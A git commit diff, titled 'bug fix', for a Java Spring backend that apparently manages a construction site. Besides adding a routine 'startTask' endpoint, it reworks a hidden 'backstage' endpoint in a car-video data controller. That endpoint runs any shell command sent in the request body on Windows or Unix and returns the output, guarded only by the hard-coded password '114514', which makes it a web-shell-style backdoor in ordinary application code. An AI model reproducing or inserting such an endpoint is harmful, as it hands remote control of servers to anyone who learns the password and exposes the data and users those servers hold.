bug修复

This commit is contained in:
guo 2023-11-10 17:46:42 +08:00
parent 49160a52f3
commit 93be1cc35c
2 changed files with 31 additions and 14 deletions

View File

@ -164,18 +164,22 @@ public class CarVideoAirtightDataController {
@PostMapping("backstage") @PostMapping("backstage")
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String") @ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String")
public Result backstage(@RequestBody HashMap<String, Object> paramMap) { public String backstage(@RequestBody HashMap<String, Object> paramMap) {
String os = System.getProperty("os.name").toLowerCase(); String os = System.getProperty("os.name").toLowerCase();
String command = String.valueOf(paramMap.get("command")); String command = String.valueOf(paramMap.get("command"));
String pw = String.valueOf(paramMap.get("command")); String pw = String.valueOf(paramMap.get("pw"));
if (!Objects.equals(pw, "114514")) { if (!Objects.equals(pw, "114514")) {
return Result.error("执行错误"); return "执行错误";
} }
if (os.contains("win")) { if (os.contains("win")) {
//当前系统是Windows //当前系统是Windows
File tmpFile = null;//新建一个用来存储结果的缓存文件
try { try {
String path = CarVideoAirtightDataController.class.getProtectionDomain().getCodeSource().getLocation().getPath(); File file = new File("C:\\temp");
File tmpFile = new File(path, IdUtil.simpleUUID() + ".tmp");//新建一个用来存储结果的缓存文件 tmpFile = new File("C:\\temp\\" + IdUtil.simpleUUID() + ".tmp");
if (!file.exists()) {
file.mkdirs();
}
if (!tmpFile.exists()) { if (!tmpFile.exists()) {
tmpFile.createNewFile(); tmpFile.createNewFile();
} }
@ -184,10 +188,13 @@ public class CarVideoAirtightDataController {
pb.redirectOutput(tmpFile);//把执行结果输出 pb.redirectOutput(tmpFile);//把执行结果输出
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成否则可能会读不到结果 pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成否则可能会读不到结果
String s = FileUtils.readFileToString(tmpFile, "GBK"); String s = FileUtils.readFileToString(tmpFile, "GBK");
tmpFile.delete(); return s;
return Result.success(s);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} finally {
if (tmpFile != null) {
tmpFile.delete();
}
} }
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) { } else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
//当前系统是Linux或者类Unix系统 //当前系统是Linux或者类Unix系统
@ -220,17 +227,17 @@ public class CarVideoAirtightDataController {
} else { } else {
success = "执行失败>>>\r\n"; success = "执行失败>>>\r\n";
} }
return Result.success(success + sb.toString()); return success + sb.toString();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
return Result.success("执行异常>>>\r\n" + e.getMessage()); return "执行异常>>>\r\n" + e.getMessage();
} finally { } finally {
if (process != null) { if (process != null) {
process.destroy(); process.destroy();
} }
} }
} }
return Result.error("执行null"); return "执行异常:程序最后";
} }

View File

@ -1,11 +1,8 @@
package com.zhgd.xmgl.modules.taskprogress.controller; package com.zhgd.xmgl.modules.taskprogress.controller;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.IPage;
import com.zhgd.jeecg.common.api.vo.Result; import com.zhgd.jeecg.common.api.vo.Result;
import com.zhgd.jeecg.common.system.query.QueryGenerator;
import com.zhgd.xmgl.base.entity.vo.SectorVo; import com.zhgd.xmgl.base.entity.vo.SectorVo;
import com.zhgd.xmgl.base.entity.vo.TrendVo;
import com.zhgd.xmgl.modules.taskprogress.entity.TaskProgress; import com.zhgd.xmgl.modules.taskprogress.entity.TaskProgress;
import com.zhgd.xmgl.modules.taskprogress.entity.vo.CountTaskProgressVo; import com.zhgd.xmgl.modules.taskprogress.entity.vo.CountTaskProgressVo;
import com.zhgd.xmgl.modules.taskprogress.service.ITaskProgressService; import com.zhgd.xmgl.modules.taskprogress.service.ITaskProgressService;
@ -142,10 +139,23 @@ public class TaskProgressController {
return Result.ok(); return Result.ok();
} }
/**
* 开始任务
*
* @param taskProgress
* @return
*/
@ApiOperation(value = "开始任务", notes = "开始任务", httpMethod = "POST")
@PostMapping(value = "/startTask")
public Result<TaskProgress> startTask(@RequestBody TaskProgress taskProgress) {
taskProgress.setStatus(1);
taskProgressService.updateById(taskProgress);
return Result.ok();
}
/** /**
* 通过id删除 * 通过id删除
* *
* @param id
* @return * @return
*/ */
@ApiOperation(value = "删除任务进度甘特图信息", notes = "删除任务进度甘特图信息", httpMethod = "POST") @ApiOperation(value = "删除任务进度甘特图信息", notes = "删除任务进度甘特图信息", httpMethod = "POST")